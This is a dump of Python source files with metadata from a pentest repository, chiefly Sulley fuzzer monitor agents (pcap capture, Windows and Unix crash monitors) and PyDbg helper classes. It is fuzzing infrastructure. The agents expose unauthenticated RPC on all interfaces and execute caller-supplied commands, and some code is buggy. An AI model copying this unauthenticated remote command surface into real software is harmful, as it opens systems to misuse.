ERR(USAGE) if not vmx and not interactive: ERR(USAGE) servlet = vmcontrol_pedrpc_server("0.0.0.0", PORT, vmrun, vmx, snap_name, log_level, interactive) servlet.serve_forever()
10,799
Python
.py
243
33.843621
132
0.521311
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,877
network_monitor.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/network_monitor.py
#!c:\\python\\python.exe import threading import getopt import time import sys import os from sulley import pedrpc import pcapy import impacket import impacket.ImpactDecoder PORT = 26001 IFS = [] ERR = lambda msg: sys.stderr.write("ERR> " + msg + "\n") or sys.exit(1) USAGE = "USAGE: network_monitor.py" \ "\n <-d|--device DEVICE #> device to sniff on (see list below)" \ "\n [-f|--filter PCAP FILTER] BPF filter string" \ "\n [-P|--log_path PATH] log directory to store pcaps to" \ "\n [-l|--log_level LEVEL] log level (default 1), increase for more verbosity" \ "\n [--port PORT] TCP port to bind this agent to" \ "\n\nNetwork Device List:\n" # add the device list to the usage string. i = 0 for dev in pcapy.findalldevs(): IFS.append(dev) # if we are on windows, try and resolve the device UUID into an IP address. if sys.platform.startswith("win"): import _winreg try: # extract the device UUID and open the TCP/IP parameters key for it. dev = dev[dev.index("{"):dev.index("}")+1] subkey = r"SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\%s" % dev key = _winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE, subkey) # if there is a DHCP address snag that, otherwise fall back to the IP address. try: ip = _winreg.QueryValueEx(key, "DhcpIPAddress")[0] except: ip = _winreg.QueryValueEx(key, "IPAddress")[0][0] dev = dev + "\t" + ip except: pass USAGE += " [%d] %s\n" % (i, dev) i += 1 ######################################################################################################################## class pcap_thread (threading.Thread): def __init__ (self, network_monitor, pcap, pcap_save_path): self.network_monitor = network_monitor self.pcap = pcap self.decoder = None self.dumper = self.pcap.dump_open(pcap_save_path) self.active = True self.data_bytes = 0 # register the appropriate decoder. if pcap.datalink() == pcapy.DLT_EN10MB: self.decoder = impacket.ImpactDecoder.EthDecoder() elif pcap.datalink() == pcapy.DLT_LINUX_SLL: self.decoder = impacket.ImpactDecoder.LinuxSLLDecoder() else: raise Exception threading.Thread.__init__(self) def packet_handler (self, header, data): # add the captured data to the PCAP. self.dumper.dump(header, data) # increment the captured byte count. self.data_bytes += len(data) # log the decoded data at the appropriate log level. self.network_monitor.log(self.decoder.decode(data), 15) def run (self): # process packets while the active flag is raised. while self.active: self.pcap.dispatch(0, self.packet_handler) ######################################################################################################################## class network_monitor_pedrpc_server (pedrpc.server): def __init__ (self, host, port, device, filter="", log_path="./", log_level=1): ''' @type host: String @param host: Hostname or IP address to bind server to @type port: Integer @param port: Port to bind server to @type device: String @param device: Name of device to capture packets on @type ignore_pid: Integer @param ignore_pid: (Optional, def=None) Ignore this PID when searching for the target process @type log_path: String @param log_path: (Optional, def="./") Path to save recorded PCAPs to @type log_level: Integer @param log_level: (Optional, def=1) Log output level, increase for more verbosity ''' # initialize the PED-RPC server. pedrpc.server.__init__(self, host, port) self.device = device self.filter = filter self.log_path = log_path self.log_level = log_level self.pcap = None self.pcap_thread = None # ensure the log path is valid. if not os.access(self.log_path, os.X_OK): self.log("invalid log path: %s" % self.log_path) raise Exception self.log("Network Monitor PED-RPC server initialized:") self.log("\t device: %s" % self.device) self.log("\t filter: %s" % self.filter) self.log("\t log path: %s" % self.log_path) self.log("\t log_level: %d" % self.log_level) self.log("Awaiting requests...") def __stop (self): ''' Kill the PCAP thread. ''' if self.pcap_thread: self.log("stopping active packet capture thread.", 10) self.pcap_thread.active = False self.pcap_thread = None def alive (self): ''' Returns True. Useful for PED-RPC clients who want to see if the PED-RPC connection is still alive. ''' return True def post_send (self): ''' This routine is called after the fuzzer transmits a test case and returns the number of bytes captured by the PCAP thread. @rtype: Integer @return: Number of bytes captured in PCAP thread. ''' # grab the number of recorded bytes. data_bytes = self.pcap_thread.data_bytes # stop the packet capture thread. self.__stop() self.log("stopped PCAP thread, snagged %d bytes of data" % data_bytes) return data_bytes def pre_send (self, test_number): ''' This routine is called before the fuzzer transmits a test case and spin off a packet capture thread. ''' self.log("initializing capture for test case #%d" % test_number) # open the capture device and set the BPF filter. self.pcap = pcapy.open_live(self.device, -1, 1, 100) self.pcap.setfilter(self.filter) # instantiate the capture thread. pcap_log_path = "%s/%d.pcap" % (self.log_path, test_number) self.pcap_thread = pcap_thread(self, self.pcap, pcap_log_path) self.pcap_thread.start() def log (self, msg="", level=1): ''' If the supplied message falls under the current log level, print the specified message to screen. @type msg: String @param msg: Message to log ''' if self.log_level >= level: print "[%s] %s" % (time.strftime("%I:%M.%S"), msg) def retrieve (self, test_number): ''' Return the raw binary contents of the PCAP saved for the specified test case number. @type test_number: Integer @param test_number: Test number to retrieve PCAP for. ''' self.log("retrieving PCAP for test case #%d" % test_number) pcap_log_path = "%s/%d.pcap" % (self.log_path, test_number) fh = open(pcap_log_path, "rb") data = fh.read() fh.close() return data def set_filter (self, filter): self.log("updating PCAP filter to '%s'" % filter) self.filter = filter def set_log_path (self, log_path): self.log("updating log path to '%s'" % log_path) self.log_path = log_path ######################################################################################################################## if __name__ == "__main__": # parse command line options. try: opts, args = getopt.getopt(sys.argv[1:], "d:f:P:l:", ["device=", "filter=", "log_path=", "log_level=", "port="]) except getopt.GetoptError: ERR(USAGE) device = None filter = "" log_path = "./" log_level = 1 for opt, arg in opts: if opt in ("-d", "--device"): device = IFS[int(arg)] if opt in ("-f", "--filter"): filter = arg if opt in ("-P", "--log_path"): log_path = arg if opt in ("-l", "--log_level"): log_level = int(arg) if opt in ("--port"): PORT = int(arg) if not device: ERR(USAGE) try: servlet = network_monitor_pedrpc_server("0.0.0.0", PORT, device, filter, log_path, log_level) servlet.serve_forever() except: pass
8,634
Python
.py
191
36.994764
120
0.547647
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,878
win_process_monitor.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/win_process_monitor.py
#!c:\\python\\python.exe import threading import getopt import time import sys import os from sulley import pedrpc sys.path.append(r"..\..\paimei") from pydbg import * from pydbg.defines import * import s_utils PORT = 26002 ERR = lambda msg: sys.stderr.write("ERR> " + msg + "\n") or sys.exit(1) USAGE = "USAGE: process_monitor.py" \ "\n <-c|--crash_bin FILENAME> filename to serialize crash bin class to" \ "\n [-p|--proc_name NAME] process name to search for and attach to" \ "\n [-i|--ignore_pid PID] ignore this PID when searching for the target process" \ "\n [-l|--log_level LEVEL] log level (default 1), increase for more verbosity" \ "\n [-t|--timeout timeout] amount of time to give an application to settle in after a restart" \ "\n [--port PORT] TCP port to bind this agent to" ######################################################################################################################## class debugger_thread (threading.Thread): def __init__ (self, process_monitor, proc_name, ignore_pid=None): ''' Instantiate a new PyDbg instance and register user and access violation callbacks. ''' threading.Thread.__init__(self) self.process_monitor = process_monitor self.proc_name = proc_name self.ignore_pid = ignore_pid self.access_violation = False self.unscheduled_exit = False self.active = True self.dbg = pydbg() self.pid = None self.stopping_process = False # give this thread a unique name. self.setName("%d" % time.time()) self.process_monitor.log("debugger thread initialized with UID: %s" % self.getName(), 5) # set the user callback which is response for checking if this thread has been killed. self.dbg.set_callback(USER_CALLBACK_DEBUG_EVENT, self.dbg_callback_user) self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, self.dbg_callback_access_violation) self.dbg.set_callback(EXIT_PROCESS_DEBUG_EVENT, self.dbg_callback_unscheduled_exit) def dbg_callback_unscheduled_exit (self, dbg): ''' Ignore first chance exceptions. This records unscheduled exits. Some applications kill themselves without causing an access violation but can still contain exploitable conditions ''' # ignore first chance exceptions. if dbg.dbg.u.Exception.dwFirstChance: return DBG_EXCEPTION_NOT_HANDLED # ignore scheduled exits if self.stopping_process: return DBG_CONTINUE # raise the access violaton flag. self.unscheduled_exit = True self.process_monitor.log("debugger thread-%s caught unscheduled exit: '%s'" % (self.getName(), first_line)) # this instance of pydbg should no longer be accessed, i want to know if it is. self.process_monitor.crash_bin.pydbg = None return DBG_CONTINUE def dbg_callback_access_violation (self, dbg): ''' Ignore first chance exceptions. Record all unhandled exceptions to the process monitor crash bin and kill the target process. ''' # ignore first chance exceptions. if dbg.dbg.u.Exception.dwFirstChance: return DBG_EXCEPTION_NOT_HANDLED # raise the access violaton flag. self.access_violation = True # record the crash to the process monitor crash bin. # include the test case number in the "extra" information block. self.process_monitor.crash_bin.record_crash(dbg, self.process_monitor.test_number) # save the the crash synopsis. self.process_monitor.last_synopsis = self.process_monitor.crash_bin.crash_synopsis() first_line = self.process_monitor.last_synopsis.split("\n")[0] self.process_monitor.log("debugger thread-%s caught access violation: '%s'" % (self.getName(), first_line)) # this instance of pydbg should no longer be accessed, i want to know if it is. self.process_monitor.crash_bin.pydbg = None # kill the process. self.stopping_process = True dbg.terminate_process() return DBG_CONTINUE def dbg_callback_user (self, dbg): ''' The user callback is run roughly every 100 milliseconds (WaitForDebugEvent() timeout from pydbg_core.py). Simply check if the active flag was lowered and if so detach from the target process. The thread should then exit. ''' if not self.active: self.process_monitor.log("debugger thread-%s detaching" % self.getName(), 5) dbg.detach() return DBG_CONTINUE def run (self): ''' Main thread routine, called on thread.start(). Thread exits when this routine returns. ''' self.process_monitor.log("debugger thread-%s looking for process name: %s" % (self.getName(), self.proc_name)) # watch for and try attaching to the process. try: self.watch() self.dbg.attach(self.pid) self.dbg.run() self.process_monitor.log("debugger thread-%s exiting" % self.getName()) except: pass # XXX - removing the following line appears to cause some concurrency issues. del(self.dbg) def watch (self): ''' Continuously loop, watching for the target process. This routine "blocks" until the target process is found. Update self.pid when found and return. ''' while not self.pid: for (pid, name) in self.dbg.enumerate_processes(): # ignore the optionally specified PID. if pid == self.ignore_pid: continue if name.lower() == self.proc_name.lower(): self.pid = pid break self.process_monitor.log("debugger thread-%s found match on pid %d" % (self.getName(), self.pid)) ######################################################################################################################## class process_monitor_pedrpc_server (pedrpc.server): def __init__ (self, host, port, crash_filename, proc_name=None, ignore_pid=None, log_level=1, timeout=5): ''' @type host: String @param host: Hostname or IP address @type port: Integer @param port: Port to bind server to @type crash_filename: String @param crash_filename: Name of file to (un)serialize crash bin to/from @type proc_name: String @param proc_name: (Optional, def=None) Process name to search for and attach to @type ignore_pid: Integer @param ignore_pid: (Optional, def=None) Ignore this PID when searching for the target process @type log_level: Integer @param log_level: (Optional, def=1) Log output level, increase for more verbosity @type timeout: Integer @param timeout: Time to give an application to settle in after a timeout ''' # initialize the PED-RPC server. pedrpc.server.__init__(self, host, port) self.crash_filename = crash_filename self.proc_name = proc_name self.ignore_pid = ignore_pid self.log_level = log_level self.stop_commands = [] self.start_commands = [] self.test_number = None self.debugger_thread = None self.crash_bin = s_utils.crash_binning.crash_binning() self.last_synopsis = "" self.timeout = timeout if not os.access(os.path.dirname(self.crash_filename), os.X_OK): self.log("invalid path specified for crash bin: %s" % self.crash_filename) raise Exception # restore any previously recorded crashes. try: self.crash_bin.import_file(self.crash_filename) except: pass self.log("Process Monitor PED-RPC server initialized:") self.log("\t crash file: %s" % self.crash_filename) self.log("\t # records: %d" % len(self.crash_bin.bins)) self.log("\t proc name: %s" % self.proc_name) self.log("\t log level: %d" % self.log_level) self.log("awaiting requests...") def alive (self): ''' Returns True. Useful for PED-RPC clients who want to see if the PED-RPC connection is still alive. ''' return True def get_crash_synopsis (self): ''' Return the last recorded crash synopsis. @rtype: String @return: Synopsis of last recorded crash. ''' return self.last_synopsis def get_bin_keys (self): ''' Return the crash bin keys, ie: the unique list of exception addresses. @rtype: List @return: List of crash bin exception addresses (keys). ''' return self.crash_bin.bins.keys() def get_bin (self, bin): ''' Return the crash entries from the specified bin or False if the bin key is invalid. @type bin: Integer (DWORD) @param bin: Crash bin key (ie: exception address) @rtype: List @return: List of crashes in specified bin. ''' if not self.crash_bin.bins.has_key(bin): return False return self.crash_bin.bins[bin] def log (self, msg="", level=1): ''' If the supplied message falls under the current log level, print the specified message to screen. @type msg: String @param msg: Message to log ''' if self.log_level >= level: print "[%s] %s" % (time.strftime("%I:%M.%S"), msg) def post_send (self): ''' This routine is called after the fuzzer transmits a test case and returns the status of the target. @rtype: Boolean @return: Return True if the target is still active, False otherwise. ''' av = self.debugger_thread.access_violation ue = self.debugger_thread.unscheduled_exit crash = av or ue # if there was an access violation, wait for the debugger thread to finish then kill thread handle. # it is important to wait for the debugger thread to finish because it could be taking its sweet ass time # uncovering the details of the access violation. if crash: while self.debugger_thread.isAlive(): time.sleep(1) self.debugger_thread = None # serialize the crash bin to disk. self.crash_bin.export_file(self.crash_filename) bins = len(self.crash_bin.bins) crashes = 0 for bin in self.crash_bin.bins.keys(): crashes += len(self.crash_bin.bins[bin]) if av: crash_type = "access violation" elif ue: crash_type = "unscheduled exit" else: crash_type = "" return (not crash, crash_type) def pre_send (self, test_number): ''' This routine is called before the fuzzer transmits a test case and ensure the debugger thread is operational. @type test_number: Integer @param test_number: Test number to retrieve PCAP for. ''' self.log("pre_send(%d)" % test_number, 10) self.test_number = test_number # unserialize the crash bin from disk. this ensures we have the latest copy (ie: vmware image is cycling). try: self.crash_bin.import_file(self.crash_filename) except: pass # if we don't already have a debugger thread, instantiate and start one now. if not self.debugger_thread or not self.debugger_thread.isAlive(): self.log("creating debugger thread", 5) self.debugger_thread = debugger_thread(self, self.proc_name, self.ignore_pid) self.debugger_thread.start() self.log("giving debugger thread 2 seconds to settle in", 5) time.sleep(2) # Not expecting any process exits self.debugger_thread.stopping_process = False def start_target (self): ''' Start up the target process by issuing the commands in self.start_commands. ''' self.log("starting target process") for command in self.start_commands: os.startfile(command) self.log("done. target up and running, giving it %d seconds to settle in." % self.timeout) time.sleep(self.timeout) def stop_target (self): ''' Kill the current debugger thread and stop the target process by issuing the commands in self.stop_commands. ''' # give the debugger thread a chance to exit. time.sleep(1) self.log("stopping target process") for command in self.stop_commands: if command == "TERMINATE_PID": if not self.debugger_thread: self.log("creating debugger thread", 5) self.debugger_thread = debugger_thread(self, self.proc_name, self.ignore_pid) self.debugger_thread.start() self.log("giving debugger thread 2 seconds to settle in", 5) time.sleep(2) self.debugger_thread.stopping_process = True self.debugger_thread.dbg.terminate_process() ## dbg = pydbg() ## for (pid, name) in dbg.enumerate_processes(): ## if name.lower() == self.proc_name.lower(): ## os.system("taskkill /pid %d" % pid) ## break else: os.system(command) def set_proc_name (self, proc_name): self.log("updating target process name to '%s'" % proc_name) self.proc_name = proc_name def set_start_commands (self, start_commands): self.log("updating start commands to: %s" % start_commands) self.start_commands = start_commands def set_stop_commands (self, stop_commands): self.log("updating stop commands to: %s" % stop_commands) self.stop_commands = stop_commands ######################################################################################################################## if __name__ == "__main__": # parse command line options. try: opts, args = getopt.getopt(sys.argv[1:], "c:i:l:p:t:", ["crash_bin=", "ignore_pid=", "log_level=", "proc_name=", "port=", "timeout="]) except getopt.GetoptError: ERR(USAGE) crash_bin = ignore_pid = proc_name = None log_level = 1 timeout = 5 for opt, arg in opts: if opt in ("-c", "--crash_bin"): crash_bin = arg if opt in ("-i", "--ignore_pid"): ignore_pid = int(arg) if opt in ("-l", "--log_level"): log_level = int(arg) if opt in ("-p", "--proc_Name"): proc_name = arg if opt in ("-P", "--port"): PORT = int(arg) if opt in ("-t", "--timeout"): timeout = int(arg) if not crash_bin: ERR(USAGE) # spawn the PED-RPC servlet. servlet = process_monitor_pedrpc_server("0.0.0.0", PORT, crash_bin, proc_name, ignore_pid, log_level, timeout) servlet.serve_forever()
15,626
Python
.py
320
39.44375
142
0.590654
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,879
nix_process_monitor.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/nix_process_monitor.py
import os import sys import getopt import signal import time import threading from sulley import pedrpc ''' By nnp http://www.unprotectedhex.com This intended as a basic replacement for Sulley's process_monitor.py on *nix. The below options are accepted. Crash details are limited to the signal that caused the death and whatever operating system supported mechanism is in place (i.e core dumps) Replicated methods: - alive - log - post_send - pre_send - start_target - stop_target - set_start_commands - set_stop_commands Limitations - Cannot attach to an already running process - Currently only accepts one start_command - Limited 'crash binning'. Relies on the availability of core dumps. These should be created in the same directory the process is ran from on Linux and in the (hidden) /cores directory on OS X. On OS X you have to add the option COREDUMPS=-YES- to /etc/hostconfig and then `ulimit -c unlimited` as far as I know. A restart may be required. The file specified by crash_bin will any other available details such as the test that caused the crash and the signal received by the program ''' USAGE = "USAGE: process_monitor.py"\ "\n [-c|--crash_bin] File to record crash info too" \ "\n [-P|--port PORT] TCP port to bind this agent too"\ "\n [-l|--log_level LEVEL] log level (default 1), increase for more verbosity" \ "\n [-t|--timeout timeout] amount of time to give an application to settle in after a restart" ERR = lambda msg: sys.stderr.write("ERR> " + msg + "\n") or sys.exit(1) class debugger_thread: def __init__(self, start_command): ''' This class isn't actually ran as a thread, only the start_monitoring method is. It can spawn/stop a process, wait for it to exit and report on the exit status/code. ''' self.start_command = start_command self.tokens = start_command.split(' ') self.cmd_args = [] self.pid = None self.exit_status = None self.alive = False def spawn_target(self): print self.tokens self.pid = os.spawnv(os.P_NOWAIT, self.tokens[0], self.tokens) self.alive = True def start_monitoring(self): ''' self.exit_status = os.waitpid(self.pid, os.WNOHANG | os.WUNTRACED) while self.exit_status == (0, 0): self.exit_status = os.waitpid(self.pid, os.WNOHANG | os.WUNTRACED) ''' self.exit_status = os.waitpid(self.pid, 0) # [0] is the pid self.exit_status = self.exit_status[1] self.alive = False def get_exit_status(self): return self.exit_status def stop_target(self): os.kill(self.pid, signal.SIGKILL) self.alive = False def isAlive(self): return self.alive ######################################################################################################################## class nix_process_monitor_pedrpc_server(pedrpc.server): def __init__(self, host, port, crash_bin, log_level=1, timeout=5): ''' @type host: String @param host: Hostname or IP address @type port: Integer @param port: Port to bind server to @type timeout: Integer @param timeout: Time to give the application to settle in after a restart ''' pedrpc.server.__init__(self, host, port) self.crash_bin = crash_bin self.log_level = log_level self.dbg = None self.timeout = timeout self.log("Process Monitor PED-RPC server initialized:") self.log("Listening on %s:%s" % (host, port)) self.log("awaiting requests...") def alive (self): ''' Returns True. Useful for PED-RPC clients who want to see if the PED-RPC connection is still alive. ''' return True def log (self, msg="", level=1): ''' If the supplied message falls under the current log level, print the specified message to screen. @type msg: String @param msg: Message to log ''' if self.log_level >= level: print "[%s] %s" % (time.strftime("%I:%M.%S"), msg) def post_send (self): ''' This routine is called after the fuzzer transmits a test case and returns the status of the target. @rtype: Boolean @return: Return True if the target is still active, False otherwise. ''' reason = '' if not self.dbg.isAlive(): exit_status = self.dbg.get_exit_status() rec_file = open(self.crash_bin, 'a') if os.WCOREDUMP(exit_status): reason = 'Segmentation fault' elif os.WIFSTOPPED(exit_status): reason = 'Stopped with signal ' + str(os.WTERMSIG(exit_status)) elif os.WIFSIGNALED(exit_status): reason = 'Terminated with signal ' + str(os.WTERMSIG(exit_status)) elif os.WIFEXITED(exit_status): reason = 'Exit with code - ' + str(os.WEXITSTATUS(exit_status)) else: reason = 'Process died for unknown reason' self.last_synopsis = '[%s] Crash : Test - %d Reason - %s\n' % (time.strftime("%I:%M.%S"), self.test_number, reason) rec_file.write(self.last_synopsis) rec_file.close() return (self.dbg.isAlive(), reason) def pre_send (self, test_number): ''' This routine is called before the fuzzer transmits a test case and ensure the debugger thread is operational. In the case of the *nix process monitor and operational debugger thread == a running target program @type test_number: Integer @param test_number: Test number to retrieve PCAP for. ''' if self.dbg == None: self.start_target() self.log("pre_send(%d)" % test_number, 10) self.test_number = test_number if not self.dbg or not self.dbg.isAlive(): self.start_target() def start_target (self): ''' Start up the target process by issuing the commands in self.start_commands. ''' self.log("starting target process") self.dbg = debugger_thread(self.start_commands[0]) self.dbg.spawn_target() # prevent blocking by spawning off another thread to waitpid threading.Thread(target=self.dbg.start_monitoring).start() self.log("done. target up and running, giving it %d seconds to settle in." % self.timeout) time.sleep(self.timeout) def stop_target (self): ''' Kill the current debugger thread and stop the target process by issuing the commands in self.stop_commands. ''' # give the debugger thread a chance to exit. time.sleep(1) self.log("stopping target process") for command in self.stop_commands: if command == "TERMINATE_PID": self.dbg.stop_target() else: os.system(command) ## time.sleep(2) ## # just in case ## try: ## self.dbg.stop_target() ## except: ## pass def set_start_commands (self, start_commands): ''' We expect start_commands to be a list with one element for example ['/usr/bin/program arg1 arg2 arg3'] ''' if len(start_commands) > 1: self.log("This process monitor does not accept > 1 start command") return self.log("updating start commands to: %s" % start_commands) self.start_commands = start_commands def set_stop_commands (self, stop_commands): self.log("updating stop commands to: %s" % stop_commands) self.stop_commands = stop_commands def set_proc_name (self, proc_name): self.log("updating target process name to '%s'" % proc_name) self.proc_name = proc_name def get_crash_synopsis (self): ''' Return the last recorded crash synopsis. @rtype: String @return: Synopsis of last recorded crash. ''' return self.last_synopsis ######################################################################################################################## if __name__ == "__main__": # parse command line options. try: opts, args = getopt.getopt(sys.argv[1:], "c:P:l:t:", ["crash_bin=","port=","log_level=", "timeout="]) except getopt.GetoptError: ERR(USAGE) log_level = 1 PORT = None crash_bin = None timeout = 5 for opt, arg in opts: if opt in ("-c", "--crash_bin"): crash_bin = arg if opt in ("-P", "--port"): PORT = int(arg) if opt in ("-l", "--log_level"): log_level = int(arg) if opt in ("-t", "--timeout"): timeout = int(arg) if crash_bin == None: ERR(USAGE) if PORT == None: PORT = 26002 # spawn the PED-RPC servlet. servlet = nix_process_monitor_pedrpc_server("0.0.0.0", PORT, crash_bin, log_level, timeout) servlet.serve_forever()
9,347
Python
.py
217
34.552995
129
0.591755
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,880
memory_snapshot_context.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/memory_snapshot_context.py
# # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: memory_snapshot_context.py 194 2007-04-05 15:31:53Z cameron $ # # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free # Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # ''' @author: Pedram Amini @license: GNU General Public License 2.0 or later @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' class memory_snapshot_context: ''' Thread context object, used in memory snapshots. ''' thread_id = None context = None #################################################################################################################### def __init__ (self, thread_id=None, context=None): ''' @type thread_id: Integer @param thread_id: Thread ID @type context: CONTEXT @param context: Context of thread specified by ID at time of snapshot ''' self.thread_id = thread_id self.context = context
1,595
Python
.py
38
38.447368
120
0.656149
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,881
system_dll.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/system_dll.py
# # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: system_dll.py 194 2007-04-05 15:31:53Z cameron $ # # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free # Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # ''' @author: Pedram Amini @license: GNU General Public License 2.0 or later @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' from my_ctypes import * from defines import * from windows_h import * # macos compatability. try: kernel32 = windll.kernel32 psapi = windll.psapi except: kernel32 = CDLL("libmacdll.dylib") psapi = kernel32 from pdx import * import os class system_dll: ''' System DLL descriptor object, used to keep track of loaded system DLLs and locations. @todo: Add PE parsing support. ''' handle = None base = None name = None path = None pe = None size = 0 #################################################################################################################### def __init__ (self, handle, base): ''' Given a handle and base address of the loaded DLL, determine the DLL name and size to fully initialize the system DLL object. @type handle: HANDLE @param handle: Handle to the loaded DLL @type base: DWORD @param base: Loaded address of DLL @raise pdx: An exception is raised on failure. ''' self.handle = handle self.base = base self.name = None self.path = None self.pe = None self.size = 0 # calculate the file size of the file_size_hi = c_ulong(0) file_size_lo = 0 file_size_lo = kernel32.GetFileSize(handle, byref(file_size_hi)) self.size = (file_size_hi.value << 8) + file_size_lo # create a file mapping from the dll handle. file_map = kernel32.CreateFileMappingA(handle, 0, PAGE_READONLY, 0, 1, 0) if file_map: # map a single byte of the dll into memory so we can query for the file name. kernel32.MapViewOfFile.restype = POINTER(c_char) file_ptr = kernel32.MapViewOfFile(file_map, FILE_MAP_READ, 0, 0, 1) if file_ptr: # query for the filename of the mapped file. filename = create_string_buffer(2048) psapi.GetMappedFileNameA(kernel32.GetCurrentProcess(), file_ptr, byref(filename), 2048) # store the full path. this is kind of ghetto, but i didn't want to mess with QueryDosDevice() etc ... self.path = os.sep + filename.value.split(os.sep, 3)[3] # store the file name. # XXX - this really shouldn't be failing. but i've seen it happen. try: self.name = filename.value[filename.value.rindex(os.sep)+1:] except: self.name = self.path kernel32.UnmapViewOfFile(file_ptr) kernel32.CloseHandle(file_map) #################################################################################################################### def __del__ (self): ''' Close the handle. ''' kernel32.CloseHandle(self.handle)
3,898
Python
.py
93
34.784946
120
0.597674
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,882
breakpoint.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/breakpoint.py
# # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: breakpoint.py 194 2007-04-05 15:31:53Z cameron $ # # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free # Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # ''' @author: Pedram Amini @license: GNU General Public License 2.0 or later @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' class breakpoint: ''' Soft breakpoint object. ''' address = None original_byte = None description = None restore = None handler = None #################################################################################################################### def __init__ (self, address=None, original_byte=None, description="", restore=True, handler=None): ''' @type address: DWORD @param address: Address of breakpoint @type original_byte: Byte @param original_byte: Original byte stored at breakpoint address @type description: String @param description: (Optional) Description of breakpoint @type restore: Boolean @param restore: (Optional, def=True) Flag controlling whether or not to restore the breakpoint @type handler: Function Pointer @param handler: (Optional, def=None) Optional handler to call for this bp instead of the default handler ''' self.address = address self.original_byte = original_byte self.description = description self.restore = restore self.handler = handler
2,232
Python
.py
50
40.04
120
0.644169
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,883
pdx.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/pdx.py
# # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: pdx.py 194 2007-04-05 15:31:53Z cameron $ # # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free # Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # ''' @author: Pedram Amini @license: GNU General Public License 2.0 or later @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' from my_ctypes import * from defines import * # macos compatability. try: kernel32 = windll.kernel32 except: kernel32 = CDLL("libmacdll.dylib") class pdx (Exception): ''' This class is used internally for raising custom exceptions and includes support for automated Windows error message resolution and formatting. For example, to raise a generic error you can use:: raise pdx("Badness occured.") To raise a Windows API error you can use:: raise pdx("SomeWindowsApi()", True) ''' message = None error_code = None #################################################################################################################### def __init__ (self, message, win32_exception=False): ''' ''' self.message = message self.error_code = None if win32_exception: self.error_msg = c_char_p() self.error_code = kernel32.GetLastError() kernel32.FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, None, self.error_code, 0x00000400, # MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT) byref(self.error_msg), 0, None) #################################################################################################################### def __str__ (self): if self.error_code != None: return "[%d] %s: %s" % (self.error_code, self.message, self.error_msg.value) else: return self.message
2,698
Python
.py
61
36.327869
120
0.578746
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,884
hardware_breakpoint.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/hardware_breakpoint.py
